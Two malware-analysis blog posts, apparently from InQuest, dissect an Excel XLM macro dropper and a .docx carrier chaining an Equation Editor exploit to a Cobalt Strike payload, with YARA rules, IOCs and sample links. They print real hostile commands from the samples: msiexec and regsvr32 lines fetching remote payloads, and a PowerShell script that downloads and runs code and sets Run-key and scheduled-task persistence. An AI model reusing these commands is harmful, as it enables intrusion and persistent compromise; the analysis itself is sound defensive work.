// see: https://github.com/InQuest/yara-rules/
rule Excel_Hidden_Macro_Sheet
{
strings:
$ole_marker = {D0 CF 11 E0 A1 B1 1A E1}
$macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
$macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
condition:
$ole_marker at 0 and 1 of ($macro_sheet_h*)

}
```

To programmatically extract XLM macros from an Excel Workbook, we can lean on the BIFF plugin that is bundled with [@DidierStevens](https://twitter.com/DidierStevens) oledump tool. This plugin recognizes a number of functions such as EXEC, REGISTER, and HALT. First, let's explore the BIFF objects by count:

```text
# BIFF dump, sorted by record type popularity, with partial annotations.
$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 | tr -s ' ' | cut -d' ' -f4 | sort | uniq -c | sort -nr
63 XF # Extended Format 5.115
47 STYLEEXT
47 STYLE
42 ROW
41 XFEXT
40 MULBLANK
20 FORMAT
17 CONTINUE # record code=3C00XXXX (typically 3C002020 for record size)
3 EOF
3 DBCELL
3 BOF
2 WSBOOL
2 WINDOW2
2 VCENTER
2 TOPMARGIN
2 SETUP
2 SELECTION
2 SAVERECALC
2 RIGHTMARGIN
2 REFMODE
2 PRINTHEADERS
2 PRINTGRIDLINES
2 PLV
2 MSODRAWINGGROUP # code=eb002020 this is where your images are.
2 MSODRAWING # related
2 LEFTMARGIN
2 ITERATION
2 INDEX
2 HEADERFOOTER
2 HEADER
2 HCENTER
2 GUTS
2 GRIDSET
2 FORMULA # EXEC, HALT, etc. the macro content
2 FOOTER
2 FEATHEADR
2 DIMENSIONS
2 DELTA
2 DEFCOLWIDTH
2 DEFAULTROWHEIGHT
2 COLINFO
2 CALCMODE
2 CALCCOUNT
2 BOUNDSHEET # Spreadsheets
2 BOTTOMMARGIN
1 plugin
1 XFCRC
1 WRITEACCESS
1 WINDOWPROTECT
1 WINDOW1
1 USESELFS
1 THEME
1 TABLESTYLES
1 TABID
1 SUPBOOK
1 SST
1 REFRESHALL
1 RECALCID
1 PROTECT
1 PROT4REVPASS
1 PROT4REV
1 PRECISION
1 PLS
1 PASSWORD
1 OBJ
1 MTRSETTINGS
1 MMS
1 MERGECELLS
1 LABEL # This record represents a cell that contains a string.
1 INTERFACEHDR
1 INTERFACEEND
1 HIDEOBJ
1 HFPicture
1 FORCEFULLCALCULATION
1 FNGROUPCOUNT
1 EXTSST
1 EXTERNSHEET
1 EXCEL9FILE
1 DSF
1 COUNTRY
1 COMPRESSPICTURES
1 COMPAT12
1 CODEPAGE
1 BOOKEXT
1 BOOKBOOL
1 BACKUP
1 1904
```

If you're looking for "interesting" records, start with grepping for the "sheet", "label", and "formula". Let's look for the ```Auto_Open``` label and dump it, to find the cmd/msiexec combination:

```text
$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions "-o label -s"
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 173064 'Workbook'
Plugin: BIFF plugin
'0018 31 LABEL : Cell Value, String Constant - \x00Auto_Ope'
ASCII:
Auto_Open:
002a 2 PRINTHEADERS : Print Row/Column Labels
002a 2 PRINTHEADERS : Print Row/Column Labels

$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions "-o formula"
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 173064 'Workbook'
Plugin: BIFF plugin
0160 2 USESELFS : Natural Language Formulas Flag
'0006 129 FORMULA : Cell Formula - R1C1 107 ptgStr "msiexec.exe serf=19 skip=1 /i http://office365advance.com/update /q OnStart=\'c:\\windows\\notepad.exe\'" ptgFuncVarV args 1 func 006e (EXEC) '
0006 26 FORMULA : Cell Formula - R2C1 4 ptgFuncVarV args 0 func 0036 (HALT)
```

Next, let's take a look at how one could programmatically carve the image component out of the document lure.

Carving Images from XLM
-----------------------
As mentioned in the beginning, our aim is to carve as much as possible from this file. Thus, we are also interested in extracting the image embedded in this document. This is a precursor to extracting the semantic meaning through Optical Character Recognition (OCR). Common choices to accomplish this task generically include forensic tools such as http://foremost.sourceforge.net/ and https://github.com/sleuthkit/scalpel. We'll show an example of using scalpel here. However, neither provides a copy with the same fidelity as what is originally displayed upon opening the Excel document in a virtual machine:

```text
# applicable scalpel rules:
# GIF and JPG files (very common)
# gif y 5000000 \x47\x49\x46\x38\x37\x61 \x00\x3b
# gif y 5000000 \x47\x49\x46\x38\x39\x61 \x00\x00\x3b
# jpg y 200000000 \xff\xd8\xff\xe0\x00\x10 \xff\xd9
# jpg y 200000000 \xff\xd8\xff\xe1 \xff\xd9

$ scalpel -c /etc/scalpel.conf 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526/workbook
```

Fig. 10 shows the output of the carved file by scalpel in the default image viewer on Windows 10.

Fig. 10: Corrupted JPEG file extracted from the XLM file by scalpel.

Why is the file corrupted? Within the XLS/BIFFv8 format, records have a maximum size of 8,228 bytes. If the size of data is greater than what can fit in a single record, then the data must be split into chunks. The first chuck is put in the first record, and the rest of data chunks are placed in subsequent **CONTINUE (3Ch)** records. To successfully extract images from XLM files, one needs to strip these **CONTINUE** headers from the extracted image. To accomplish this task automatically, we've extended the oledump BIFF plugin (plugin_biff.py) to include a new command line switch for extracting images. You can find our patch in our Github repository (lines 570 to 603):

[https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592](https://github.com/InQuest/DidierStevensSuite/blob/BIFF-Image-Dump-Switch/plugin_biff.py#L570-L592)

Here it is in action:

```text
$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions "-h"
Usage: oledump.py [options]

Options:
-h, --help show this help message and exit
-e, --extract Extract images
-s, --strings Dump strings
-a, --hexascii Dump hex ascii
-o OPCODE, --opcode=OPCODE
Opcode to filter for
-f FIND, --find=FIND Content to search for

$ oledump.py -p plugin_biff 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526 --pluginoptions "-e"
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 173064 'Workbook'
Plugin: BIFF plugin
00003255 0866 126 HFPicture : Header / Footer Picture
00005279 00eb 8224 MSODRAWINGGROUP : Microsoft Office Drawing Group
[EB] image + 8107 = 8107 bytes
0000729d 00eb 8224 MSODRAWINGGROUP : Microsoft Office Drawing Group
[EB] image + 8224 = 16331 bytes
000092c1 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 24555 bytes
0000b2e5 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 32779 bytes
0000d309 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 41003 bytes
0000f32d 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 49227 bytes
00011351 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 57451 bytes
00013375 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 65675 bytes
00015399 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 73899 bytes
000173bd 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 82123 bytes
000193e1 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 90347 bytes
0001b405 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 98571 bytes
0001d429 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 106795 bytes
0001f44d 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 115019 bytes
00021471 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 123243 bytes
00023495 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 131467 bytes
000254b9 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 139691 bytes
000274dd 003c 8224 CONTINUE : Continues Long Records
[3C] image + 8224 = 147915 bytes
00027c6f 003c 1934 CONTINUE : Continues Long Records
[3C] image + 1934 = 149849 bytes
```

Conclusion
----------
In this article, we analyzed a stealthy malicious Excel document that relies on XLM macros to run embedded commands; which is an old-age technology superseded by VBA. We provided in detail on how such macros can be located in XLM binary files and also how to carve other useful information such as image files. Last not least, we also presented three YARA rules that can be used to capture malware instances that use similar technique.

If you're interested in a similar sample, take a look at:

* VT: [6f807662e04b5cfb85bc892e27a29994ddcf78e7c3311581753761fede3d5bd1](https://www.virustotal.com/en/file/6f807662e04b5cfb85bc892e27a29994ddcf78e7c3311581753761fede3d5bd1/analysis/)
* Pivot: add3565office[.]com/rstr
* Final: pointsoft[.]pw

Malware Samples (All Stages)
----------------------------
Note: The following contain links to actual malware. Though without file extensions, care should be taken. Not everyone has access to Virus Total, and we want to ensure that samples are available freely for all researchers to improve their trade craft.

| Stage | Parent Process | File Type | Name | SHA256... | Download |
|-------|:--------------:|:---------:|:--------:|-------------|----------|
| 1 | EXCEL | XLS | | 98e4695e... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526)|
| 2 | MSIEXEC | MSI | | a5bc8c8b... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-2-msi/a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a) |
| 3 | MSIEXEC | EXE | | c354467e... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-3-exe/c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4) |
| 4 | WSCRIPT | VBS | rds.vbs | 8a5041d4... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-4-vbs/8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4) |
| 5 | CMD | BAT | help.bat | 91237a76... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-5-bat/91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce) |
| 6 | RUNDLL32 | DLL | htpd.dat | 79a56ca8... | [download](https://github.com/InQuest/malware-samples/blob/master/2019-01-15-Mal-Excel-Doc-Macrosheet/stage-6-dll/79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190) |

YARA Hunting Rules
------------------
The YARA rules we defined inline above are available, along with other YARA rules we wish to share with the community. These rules should not be considered production appropriate. Rather, they are valuable for research and hunting purposes:

* [Excel_Hidden_Macro_Sheet.rule](https://github.com/InQuest/yara-rules/blob/master/Excel_Hidden_Macro_Sheet.rule)
* [Executable_Converted_to_MSI.rule](https://github.com/InQuest/yara-rules/blob/master/Executable_Converted_to_MSI.rule)
* [MSIExec_Pivot.rule](https://github.com/InQuest/yara-rules/blob/master/MSIExec_Pivot.rule)

Other YARA rules that we've open-sourced can be found at [https://github.com/InQuest/yara-rules/](https://github.com/InQuest/yara-rules/). Additionally, we maintain a curated list of awesome YARA rules, tools, and people over at: [https://github.com/pedramamini/awesome-yara/](https://github.com/pedramamini/awesome-yara/).

References
----------
* [https://blog.inquest.net/blog/2018/02/12/deep-file-inspection](https://blog.inquest.net/blog/2018/02/12/deep-file-inspection)
* [http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf)
* [https://www.openoffice.org/sc/excelfileformat.pdf](https://www.openoffice.org/sc/excelfileformat.pdf)
* [https://msdn.microsoft.com/en-us/library/dd942138.aspx](https://msdn.microsoft.com/en-us/library/dd942138.aspx)
* [https://www.mitec.cz/ssv.html](https://www.mitec.cz/ssv.html)
* [https://www.aldeid.com/wiki/BiffView](https://www.aldeid.com/wiki/BiffView)
* [https://lolbas-project.github.io/lolbas/Binaries/Msiexec/](https://lolbas-project.github.io/lolbas/Binaries/Msiexec/)
* [https://github.com/decalage2/oletools](https://github.com/decalage2/oletools)
* [https://blog.didierstevens.com/programs/oledump-py/](https://blog.didierstevens.com/programs/oledump-py/)
* [http://www.exetomsi.com](http://www.exetomsi.com)
* [https://research.domaintools.com/research/screenshot-history/vesecase.com/#0](https://research.domaintools.com/research/screenshot-history/vesecase.com/#0)
* [http://whois.domaintools.com/vesecase.com](http://whois.domaintools.com/vesecase.com)
* [http://whois.domaintools.com/office365advance.com](http://whois.domaintools.com/office365advance.com)

IOCs
----
* 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
* a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a
* c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4
* 8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4
* 91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce
* 79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190
* office365advance[.]com
* hxxp://office365advance[.]com/update
* krontvhouse[.]com
* 185.68.93.84
* vesecase[.]com
* hxxps://vesecase[.]com/support/form.php
* afsssdrfrm[.]pw
* hxxps://afsssdrfrm[.]pw/support/form.php
* add3565office[.]com
* add3565office[.]com/rstr
* pointsoft[.]pw

Originally published 2019-01-29 on the InQuest blog. Written with Amirreza Niakanlahiji.

Walkthrough of a Common Malware Carrier2018-04-19

E-mail is a prominent vector for malware delivery, by way of a malicious URL or file attachments. When embedding malicious content within a file, malware authors commonly nest a variety of formats within one another and pivot through numerous stages of payloads before retrieving the final one. In this post, we'll walk through the dissection of a common document malware carrier.

The sample we'll dive into originally popped up on our radar a week ago, on Thursday April 12th 2018. Received through one of our [VirusTotal Intelligence](https://www.virustotal.com/intelligence/) YARA hunt rules that search for suspicious Office documents with an external reference (more on this in a second). This Tweet from [@blu3_team](https://twitter.com/blu3_team/status/986777903395373057) a few hours ago succinctly illustrated the behavior of this common carrier type, we'll dive deeper into the step-by-step analysis. We've made the original sample, subsequent stage payloads, and some intermediary files available on our GitHub [InQuest/malware-samples](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/). The initial malicious document:

* SHA256: [d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6)
* [OPSWAT MetaDefender](https://metadefender.opswat.com/results#!/file/YTE4MDQxOXIxQnotc3FUU2hmQms4ZldvNWFyM2Y/regular/multiscan)
* [VirusTotal](https://www.virustotal.com/en/file/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6/analysis/)
* [Hybrid-Analysis](https://www.hybrid-analysis.com/sample/d347e095369aba294f674331054df8469b12d5e3260deb168827142d862f88d6)

On initial upload last week there were only three AV hits on the sample (Kaspersky, ZoneAlarm, and Zoner). Today, upon subsequent rescan, there were six:

On 4/12 the detection ration was 3/59, on 4/19 it is 6/59.

The file is a Microsoft Office .docx file, which means you can simply rename it to .zip to extract and inspect the contents. Let's grep out the URL ignoring some common domains we don't care about:

```iq-bash
$ grep -rEo '(http|https)://[^"]+' * | cut -d':' -f2- | grep -Ev "adobe.com|w3.org|openxmlformats.org|microsoft.com" | sort | uniq
http://job.softline.top/banner.jpg
http://purl.org/dc/dcmitype/
http://purl.org/dc/elements/1.1/
http://purl.org/dc/terms/
```

That first one pops out immediately. Let's see which file contains that particular URL and then inspect the file in its entirety:

```iq-bash
$ grep -lr http://job.softline.top/banner.jpg
word/_rels/webSettings.xml.rels

$ cat word/_rels/webSettings.xml.rels

```

There's the external reference we were alluding to earlier. At this point, a user will have opened the initial carrier and activated this reference. Retrieving the next stage payload [banner.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner.jpg), you'll immediately notice the file is actually an RTF document and not a JPG image. We'll use [rtfobj](http://decalage.info/python/oletools) to dissect this further by requesting it dump all the objects out of the RTF stream:

```iq-bash
$ rtfobj -s all banner.jpg -d objects
rtfobj 0.51 - http://decalage.info/python/oletools
THIS IS WORK IN PROGRESS - Check updates regularly!
Please report any issue at https://github.com/decalage2/oletools/issues

===============================================================================
File: 'banner.jpg' - size: 108109 bytes
---+----------+-------------------------------+-------------------------------
id |index |OLE Object |OLE Package
---+----------+-------------------------------+-------------------------------
0 |0000ED3Ah |format_id: 2 (Embedded) |Not an OLE Package
| |class name: 'Equation.3' |
| |data size: 3072 |
---+----------+-------------------------------+-------------------------------
1 |00010E11h |format_id: 2 (Embedded) |Not an OLE Package
| |class name: 'Equation.3' |
| |data size: 3072 |
---+----------+-------------------------------+-------------------------------

Saving file embedded in OLE object #0:
format_id = 2
class name = 'Equation.3'
data size = 3072
saving to file objects/banner.jpg_object_0000ED3A.bin

Saving file embedded in OLE object #1:
format_id = 2
class name = 'Equation.3'
data size = 3072
saving to file objects/banner.jpg_object_00010E11.bin

$ file *
banner.jpg_object_0000ED3A.bin: Composite Document File V2 Document, Cannot read section info
banner.jpg_object_00010E11.bin: Composite Document File V2 Document, Cannot read section info
```

Two Composite Document Files (CDF). We'll use [oledump](https://blog.didierstevens.com/programs/oledump-py/) to list the streams in both of the dumped objects [banner.jpg_object_0000ED3A.bin](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner-objects/banner.jpg_object_0000ED3A.bin) and [banner.jpg_object_00010E11.bin](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/banner-objects/banner.jpg_object_00010E11.bin):

```iq-bash
$ oledump.py banner.jpg_object_0000ED3A.bin
1: 102 '\x01CompObj'
2: 20 '\x01Ole'
3: 6 '\x03ObjInfo'
4: 197 'Equation Native'

$ oledump.py banner.jpg_object_00010E11.bin
1: 102 '\x01CompObj'
2: 20 '\x01Ole'
3: 6 '\x03ObjInfo'
4: 197 'Equation Native'
```

Each dumped object contains an "Equation Native" stream. These OLE streams contain exploits for the Microsoft Equation Editor vulnerabilities described in [CVE-2017-11882](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11882) and [CVE-2018-0802](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-0802). For an example proof-of-concept exploit, see [github/rxwx/CVE-2018-0802](https://github.com/rxwx/CVE-2018-0802). Let's dump each of those streams:

```iq-bash
$ oledump.py banner.jpg_object_0000ED3A.bin -s4
00000000: 1C 00 00 00 02 00 9E C4 A9 00 00 00 00 00 00 00 ......??.......
00000010: C8 A7 5C 00 C4 EE 5B 00 00 00 00 00 03 01 01 03 ?\.??[.........
00000020: 0A 0A 01 08 5A 5A 33 C0 99 B2 02 C1 E2 08 2B E2 ....ZZ3???.??.+?
00000030: E8 FF FF FF FF C3 5B 50 64 8B 40 30 8B 40 08 99 ??????[Pd?@0?@.?
00000040: B2 03 C1 E2 10 66 BA 12 0C 03 C2 8D 5B 1C 53 FF ?.??.f?...[.S?
00000050: E0 72 65 67 73 76 72 33 32 20 2F 75 20 2F 73 20 ?regsvr32 /u /s
00000060: 2F 69 3A 68 74 74 70 3A 2F 2F 6A 6F 62 2E 73 6F /i:http://job.so
00000070: 66 74 6C 69 6E 65 2E 74 6F 70 2F 61 64 31 2E 6A ftline.top/ad1.j
00000080: 70 67 20 73 63 72 6F 62 6A 2E 64 6C 6C 20 23 20 pg scrobj.dll #
00000090: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
000000A0: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20
000000B0: 20 20 20 20 20 20 20 20 20 20 25 00 00 00 00 00 %.....
000000C0: 00 00 00 00 00

$ oledump.py banner.jpg_object_00010E11.bin -s4
00000000: 1C 00 00 00 02 00 9E C4 A9 00 00 00 00 00 00 00 ......??.......
00000010: C8 A7 5C 00 C4 EE 5B 00 00 00 00 00 03 01 01 03 ?\.??[.........
00000020: 0A 0A 01 08 5A 5A B8 44 EB 71 12 BA 78 56 34 12 ....ZZ?D?q.?xV4.
00000030: 31 D0 8B 08 8B 09 8B 09 66 83 C1 3C 31 DB 53 51 1?.?.?.f??<1?SQ 00000040: BE 64 3E 72 12 31 D6 FF 16 53 66 83 EE 4C FF 10 ?d>r.1??.Sf??L?.
00000050: 90 90 14 21 40 00 00 00 72 65 67 73 76 72 33 32 [email protected]
00000060: 20 2F 75 20 2F 73 20 2F 69 3A 68 74 74 70 3A 2F /u /s /i:http:/
00000070: 2F 6A 6F 62 2E 73 6F 66 74 6C 69 6E 65 2E 74 6F /job.softline.to
00000080: 70 2F 61 64 31 2E 6A 70 67 20 73 63 72 6F 62 6A p/ad1.jpg scrobj
00000090: 2E 64 6C 6C 00 00 00 00 00 00 00 00 00 00 00 00 .dll............
000000A0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000B0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
000000C0: 00 00 00 00 00 .....
```

We'll focus on the first of the two, banner.jpg_object_0000ED3A.bin. For further reading on the specific of Equation Editor vulnerabilities we recommend the following articles from [Checkpoint](https://research.checkpoint.com/another-office-equation-rce-vulnerability/) and [Freebuf](http://www.freebuf.com/vuls/159789.html). Aligning the vulnerabile structure with the data above we have the following table:

| struct member | description | size | offset |
|---------------|-----------------|------------------------------|-------------|
| Tag | 0�08 | 1 byte | 0x23 |
| Ttype | Typeface number | 1 byte | 0x24 |
| Style | Font style | 1 byte | 0x25 |
| Name | Font name | NULL-terminated ASCII string | 0x26 - 0x93 |

The vulnerability was initially patched in November of last year. That patch proved insufficient and subsequently in December of last year Microsoft simply removed the Equation Editor in its entirety. The above analysis of course can be skipped entirely as the next stage payload is clearly visible in both objects referencing [ad1.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/ad1.jpg), which contains nothing more than a scriptlet pivot through JavaScript and PowerShell to yet another payload:

```xml

```

Following the rabbit down the hole further, we get the following PowerShell pivot from [share.png](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/share.png):

```iq-bash
function ConvertFrom-Base64($string) {
$bytes = [System.Convert]::FromBase64String($string);
$decoded = [System.Text.Encoding]::UTF8.GetString($bytes);
return $decoded;
}

$WSH = New-Object -Com WScript.Shell;
$decode = ConvertFrom-Base64("c2NodGFza3MgL2NyZWF0ZSAvdG4gIndpbmRvd3MgdXBkYXRlIiAvdHIgInJlZ3N2cjMyIC91IC9zIC9pOmh0dHA6Ly9qb2Iuc29mdGxpbmUudG9wL2FkMi5qcGcgc2Nyb2JqLmRsbCIgL3NjIGRhaWx5IC9zdCAxMjowMCAvRg==");
$WSH.Run($decode,0);

$client = new-object System.Net.WebClient
$client.DownloadFile('http://job.softline.top/SCHEDLGU.exe', 'c:\\windows\\tasks\\SCHEDLGU.exe')
$decode3 = ConvertFrom-Base64("cmVnIGFkZCAiSEtFWV9DVVJSRU5UX1VTRVJcU29mdHdhcmVcTWljcm9zb2Z0XFdpbmRvd3NcQ3VycmVudFZlcnNpb25cUnVuIiAvdiAid2luZG93cyB0YXNrcyBjaGVjayIgL3QgUkVHX1NaIC9kICJjOlx3aW5kb3dzXHRhc2tzXFNDSEVETEdVLmV4ZSIgL2Y=");
$WSH.Run($decode3,0);

$decode2 = ConvertFrom-Base64("cG93ZXJzaGVsbC5leGUgLWV4ZWMgYnlwYXNzIC1XaW5kb3dzdHlsZSBoaWRkZW4gLW5vbmludGVyYWN0aXZlIC1ub2xvZ28gSUVYIChOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vam9iLnNvZnRsaW5lLnRvcC9sb2FkaW5nbGl0LmdpZicp");
$WSH.Run($decode2,0);
```

There's a plethora of methods to decoding the base64 data above, but sticking with the tool-set we've been using, we'll lean on [base64dump](https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py) here:

```iq-bash
$ base64dump.py -n30 share.png -s a -S
schtasks /create /tn "windows update" /tr "regsvr32 /u /s /i:http://job.softline.top/ad2.jpg scrobj.dll" /sc daily /st 12:00 /F

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v "windows tasks check" /t REG_SZ /d "c:\windows\tasks\SCHEDLGU.exe" /f

powershell.exe -exec bypass -Windowstyle hidden -noninteractive -nologo IEX (New-Object Net.WebClient).DownloadString('http://job.softline.top/loadinglit.gif')
```

Three commands. It looks to pull down a payload and to establish persistence across reboots by way of a Registry run-key and scheduled tasks (how uncreative). Additionally, we've got a pair of new pivots to follow here. As it turns out, [ad2.jpg](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/ad2.jpg) is nothing more than a JavaScript / PowerShell pivot to [loadinglit.gif](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/loadinglit.gif):

```xml

```

Examining [loadinglit.gif](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/loadinglit.gif) we find a pure PowerShell payload that contains a base64 encoded PE file. This is obvious from the string start of "TVroAAAAAFt" which, if you've been looking at these things long enough, immediately stands out as an MZ header for a Windows PE executable (DLL, EXE, etc.). The script is too large to include inline, see the link above. Again though, we'll lean on [base64dump](https://github.com/DidierStevens/DidierStevensSuite/blob/master/base64dump.py) to extract the payload:

```iq-bash
$ base64dump.py -n500 loadinglit.gif
ID Size Encoded Decoded MD5 decoded
-- ---- ------- ------- -----------
1: 275804 TVroAAAAAFtSRVWJ MZ?....[REU???r 9d7376f5ad1b39ec08cbe2a8e0e886b6

$ base64dump.py -n500 loadinglit.gif -s1 -d > payload

$ sha256sum payload
8cdd29e28daf040965d4cad8bf3c73d00dde3f2968bab44c7d8fe482ba2057f9 payload

$ file payload
payload: PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
```

This final [payload](https://github.com/InQuest/malware-samples/blob/master/2018-04-Common-Malware-Carrier/payload) has not been seen on VT / MetaDefender before, so we uploaded to both services. It appears to be a Cobalt Strike payload:

* [OPSWAT MetaDefender](https://metadefender.opswat.com/results#!/file/ZTE4MDQxOUgxLXY2VGFCaEdTMUdQVGFUQmh6/regular/overview)
* [VirusTotal](https://www.virustotal.com/en/file/8cdd29e28daf040965d4cad8bf3c73d00dde3f2968bab44c7d8fe482ba2057f9/analysis/)

Detection
---------
We've examined the various pivots in this malware carrier that resulted in the eventual delivery of a persistently hooked malicious binary. The InQuest [Deep File Inspection](http://blog.inquest.net/blog/2018/02/12/deep-file-inspection/) (DFI) stack is capable of unraveling common malware carriers such as the one detailed in this post. There are countless methods that attackers can employ to obfuscate, evade, encapsulate, and generally deter security inspection. Our DFI stack strips away the superfluous and exposes malicious content bare for threat detection based on any of our 1000+ field tested hunting signatures, user-defined YARA signatures, or any of our [active integrations](http://www.inquest.net/partners/).

Malware carriers are typically nested in multiple levels, like a Matryoshka doll.

In addition to [Deep File Inspection](http://blog.inquest.net/blog/2018/02/12/deep-file-inspection/), we provide other capabilities for discovering and detecting targeted malware campaigns. Following along with our example, let's take a look at the hosting provider behind the various payload stages we retrieved. The domain, softline.top ([WHOIS](http://whois.domaintools.com/softline.top)), was registered in late December of last year. There is not DNS resolution for the TLD. The subdomain job.softline.top is hosted on South Korean IP address 27.255.90.218 ([WHOIS](http://whois.domaintools.com/27.255.90.218)):

```iq-bash
$ whois softline.top
...
Domain Name: softline.top
Registry Domain ID: D20171226G10001G_32819662-top
Registrar WHOIS Server: whois.publicdomainregistry.com
Registrar URL: http://publicdomainregistry.com
Updated Date: 2017-12-26T08:51:22Z
Creation Date: 2017-12-26T08:50:51Z
Registry Expiry Date: 2018-12-26T08:50:51Z
Registrar: PDR Ltd
Registrar IANA ID: 303
...

$ dig job.softline.top any
...
;; ANSWER SECTION:
job.softline.top. 51 IN A 27.255.90.218
...
```

A reverse IP lookup on [27.255.90.218](https://reverseip.domaintools.com/search/?q=27.255.90.218) reveals another domain microsoftgood.com ([WHOIS](http://whois.domaintools.com/microsoftgood.com)) which was registered even more recently:

```iq-bash
$ whois microsoftgood.com
...
Domain Name: microsoftgood.com
Registry Domain ID: 2221771516_DOMAIN_COM-VRSN
Registrar WHOIS Server: whois.godaddy.com
Registrar URL: http://www.godaddy.com
Updated Date: 2018-02-01T02:55:46Z
Creation Date: 2018-02-01T02:55:46Z
Registrar Registration Expiration Date: 2019-02-01T02:55:46Z
Registrar: GoDaddy.com, LLC
Registrar IANA ID: 146
...
```

Whether or not there is any relation is speculative at this point. It may be potentially lucrative from a defenders perspective to utilize the naming patterns gleans above to conduct a limited brute force crawl of this new domain, in search of additional malware.

IP and DNS are both detectable / alertable artifacts within InQuest. Users can lean on our weekly feed of intel updates as well integrate with their own propriety intel or commercial third party feeds to detect command and control (C2) activity. Campaigns can be alerted on by file heuristics, communicated endpoints, hashes, fuzzy hashes, perception hashes (images), header (HTTP and SMTP) analytics, and an ever growing list of [active integrations](http://www.inquest.net/partners/).

As an example active integration, let's take a look at how our friends at [VMRay](https://www.vmray.com/) detect this threat. If enabled, file artifacts carved by InQuest from the wire can be optionally passed through the VMRay sandbox for [detonation and behavioral inspection](http://blog.inquest.net/blog/2018/03/12/defense-in-depth-detonation-technologies/):

VMRay detonated the file in four different environments, only one alerted.

